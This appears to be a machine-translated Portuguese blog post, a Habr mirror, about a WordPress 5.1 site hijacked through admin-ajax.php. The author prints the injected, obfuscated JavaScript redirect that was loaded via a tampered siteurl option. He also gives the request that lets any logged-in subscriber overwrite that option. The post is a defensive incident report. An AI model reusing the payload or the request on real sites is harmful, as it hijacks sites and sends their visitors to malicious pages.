Vulnerabilidade crítica no admin-ajax.php

Semana passada me deparei com um fato extremamente desagradável. Tendo visitado meu site, descobri que ele me redireciona para um recurso desconhecido para mim, que o antivírus Dr. extremamente jura Web

Orgulhosamente desenvolvido com WordPress versão 5.1

Todas as atualizações de saída para o mecanismo, plug-in e tema são instaladas no prazo. Plugins apenas do repositório oficial, tema também.

O backup do site foi baixado imediatamente, verificado por software antivírus (Dr. Web, Kaspersky, AI-BOLIT) - mas não houve resultados, tudo está limpo.

Arquivos de tema verificados manualmente e alguns plugins, mas novamente não houve resultado.
Ao verificar o dump do banco de dados na tabela wp_options no parâmetro siteurl, o URL de outra pessoa foi ocultado. Na verdade, houve um redirecionamento para ele.

Isso aconteceu de acordo com o princípio: ao carregar a página, o parâmetro "siteurl" foi substituído em todos os

<script type='text/javascript' src=' URL  '></script> 

Nesse caso, o seguinte script foi carregado:

 var x = getCookie('pp000001'); if (x) { var x2 = getCookie('pp000002'); if (x2) { var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } else { setCookie('pp000002','1',1); var sdfgdfg = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 108, 105, 99, 107, 46, 110, 101, 119, 112, 117, 115, 104, 46, 115, 117, 112, 112, 111, 114, 116, 47, 101, 115, 117, 122, 110, 120, 105, 102, 113, 107);document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } } else { setCookie('pp000001','1',1); var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } function setCookie(name,value,days) { var expires = ""; if (days) { var date = new Date(); date.setTime(date.getTime() + (days*8*60*60*1000)); expires = "; expires=" + date.toUTCString(); } document.cookie = name + "=" + (value || "") + expires + "; path=/"; } function getCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; } function eraseCookie(name) { document.cookie = name+'=; Max-Age=-99999999;'; } 


Como o URL de outra pessoa entrou no banco de dados permanece um mistério. Mudando a URL para a correta, tudo funcionou novamente, mas no dia seguinte, ao verificar, vi novamente o Dr. Web jura na página redirecionada. Este parâmetro foi novamente alterado no banco de dados.

Depois disso, novos logs de acesso ao site e logs de erros foram baixados. Não houve erros, mas uma solicitação extremamente interessante para o site foi encontrada nos logs de acesso:

 /wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=siteurl&option_value= URL 

Depois de corrigir as configurações novamente e verificar se tudo funciona, tentei repetir essa solicitação no site, mas nada funcionou. A configuração no banco de dados não foi alterada.

Note-se que o site está aberto para registro e os usuários recebem o papel de "Assinante", o acesso à parte administrativa é completamente fechado.

Foi feita uma tentativa de registrar um novo usuário, efetuar login e, depois disso, essa solicitação para o site funcionou, a configuração no banco de dados foi alterada.

Como resultado, acontece que, se o registro do usuário estiver aberto no site, mesmo com a função Assinante e o acesso ao painel de administração estiver fechado, essa solicitação ainda funcionará.

Ele foi verificado em outro site, depois de desligar todo o plug-in e definir o tema padrão - o resultado é o mesmo.

Como combater, exceto como desativar o registro e remover usuários suspeitos - ainda não encontrei uma solução.

PS: google a solicitação, sites infectados foram encontrados, tenha cuidado.

Source: https://habr.com/ru/post/pt455918/


All Articles